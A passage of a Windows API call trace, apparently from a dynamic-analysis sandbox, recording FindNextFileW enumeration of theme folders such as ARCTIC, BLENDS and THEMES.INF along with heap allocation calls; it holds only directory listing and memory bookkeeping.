ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0058.002] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0058.003] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0058.003] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.004] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.004] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.004] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.004] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0058.004] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0058.004] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0058.004] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2f28 [0058.004] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4178 [0058.004] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0058.004] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0058.004] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 